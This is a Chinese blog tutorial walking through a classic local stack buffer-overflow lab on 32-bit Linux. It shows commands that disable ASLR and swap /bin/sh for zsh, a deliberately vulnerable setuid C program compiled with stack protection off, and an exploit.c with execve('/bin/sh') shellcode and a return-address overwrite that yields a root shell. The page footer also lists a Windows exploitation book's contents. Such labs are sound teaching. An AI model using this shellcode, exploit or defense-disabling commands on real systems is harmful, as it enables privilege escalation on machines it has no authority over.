黑客从入门到入狱---不得不说的缓冲区溢出攻击

简单介绍:什么是缓冲区溢出攻击

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

之前要接触的技能
有c语言基础
会进制转换以及计算
vim基本使用
熟悉基本linux命令

实验在蓝桥实验楼上可以进行,用的是linux系统

同学们已经饥渴难耐了,我们马上开始

三军未动,粮草先行

随着黑客技术的发展,黑客的防护措施也越来越发达了,那么为了我们的实验能够成功,我们做一个准备工作

输入命令安装一些用于编译32位c程序的软件包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

菜鸟初学,定点射击,感受黑客的快感!

关闭地址空间随机化,内存地址不用猜,收到擒来!

我们要找到地址的返回地址,用shellcode的地址覆盖着个返回地址来完成入侵,那么这个空间如果是随机化的就会增加我们的入侵难度,既然是入门,我先不让地址移动,定点射击。

sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

防止/bin/bash的防护措施,我们移花接木,瞒天过海

zsh代替bash 秒啊!

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

俯冲进入linux32系统,冲冲冲!

linux32
/bin/bash

在这里插入图片描述

shellcode分析

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

其实就是用execve来调用/bin/sh里面的程序,这里面的程序可以获得root的权限,所以如果别人不小心调用了我们的这个shellcode,我们就可以获得对面主机的root权限。

shellcode对应的汇编版本

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

漏洞程序分析

在/tmp目录下新建一个stack.c文件:

cd /tmp
vim stack.c

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

撕碎gcc编译器的最后一道心理防线

不仅让人想起欧文所写的人性的弱点,人的心理防线恐怕就是最后一道防线了!

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用** –fno-stack-protector** 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试

攻击程序分析(攻击刚才的漏洞程序)

我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码,\x??\x??\x??\x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

gdb stack
disass main

结果如图:
在这里插入图片描述
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
接下来的操作:

# 设置断点
b *0x080484ee
r
i r $esp

在这里插入图片描述
最后获得的这个0xffffcfb0就是str的地址
按 q 键,再按 y 键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。
十六进制加法计算器
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。
然后,编译exploit.c程序:

gcc -m32 -o exploit exploit.c

瞬间入侵

在这里插入图片描述


一些思考题,我们升华一下?!

将/bin/sh重新指向/bin/bash或者(/bin/dash),能否攻击成功,获得root权限呢?

/bin/bash自带有防护措施,前面说过是最后一道心理防线,那么肯定是不能成功,结果图如下。
在这里插入图片描述

为什么是填充24个字节的0x90???

在这里插入图片描述

关闭地址随机后,正常的是本地变量buffer内存,之后四个字节是ebp,然后就是返回的地址了!
那么为什么我们这里不是12+4=16而是24呢?

在漏洞程序中我们调用bof函数来完成缓冲区的溢出,我们用gdb来查看bof分配的内存是多少!!!
结果显示函数分配了0x14的地址也就是20,所以是20+4=24!!!
在这里插入图片描述

我们要得到shellcode在内存的地址,为什么是查看stack的内存

我们可以通过查看stack的首地址来得到str的首地址,而shellcode存在了str+100的位置,所以得到的这个地址+0x64(100)就是shellcode的地址拉!

将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff (为什么是反过来填写?)

在这里插入图片描述

端类型表示方法
大端在这里插入图片描述
小端在这里插入图片描述

一目了然,无需多言!

特别感谢程佬,董总,龙王的技术支持和代码指导!

在这里插入图片描述

最后放一下佬们的手机壳!!!呵呵

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
写得比较轻松活泼,而且比较容易理解! 第一章、Windows下堆栈溢出入门 8 1.1 梦,已经展开 8 1.2 啤酒和杯子――缓冲区溢出原理 8 1.3 神秘的Windows系统 10 1.4 ShellCode编写简介 17 1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾阶而上——IDA/IDQ溢出漏洞编写 55 课后解惑 58 第二章、Windows下ShellCode编写初步 60 2.1 ShellCode是什么? 60 2.2 简单的例子——编写控制台窗口的ShellCode 63 2.3 ShellCode通用性的初步分析 78 2.4 弹出Windows对话框ShellCode的编写 82 2.5 添加用户ShellCode的编写 88 课后解惑 98 第三章、后门的编写和ShellCode的提取 100 3.1 预备知识 101 3.2 后门总体思路 121 3.3 Telnet后门的高级语言实现 125 3.4 生成ShellCode 136 3.5 进一步的探讨 156 3.6 反连后门ShellCode的编写 160 课后解惑 166 第四章 Windows下堆溢出利用编程 168 4.1 堆溢出初探 168 4.2 RtlAllcoateHeap的失误 170 4.3 实例——Message堆溢出漏洞的利用 191 4.4 RtlFreeHeap的失误 197 4.5 堆溢出的其他利用方式 204 4.6 实例——JPEG处理堆溢出漏洞的利用 208 课后解惑 215 第五章 ShellCode变形编码大法 217 5.1 为什么要编码 217 5.2 简单的编码——异或大法 221 5.3 简便的变形——微调法 231 5.4 直接替换法 233 5.5 字符拆分法 239 5.6 内存搜索法 247 5.7 搜索实例——Serv_U漏洞的利用 249 5.8 “计算与你同行”—— Computing & Society 257 课后解惑 258 第六章 ShellCode编写高级技术 260 6.1 通用ShellCode的编写 260 6.2 ShellCode的高效提取技巧 285 6.3 ShellCode的高级功能 294 课后解惑 305 第七章、漏洞的发现、分析和利用 308 7.1 CCProxy 漏洞的分析 308 7.2 黑盒法探测漏洞和Python脚本 319 7.3 白盒法和IDA分析漏洞 333 尾声 347

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值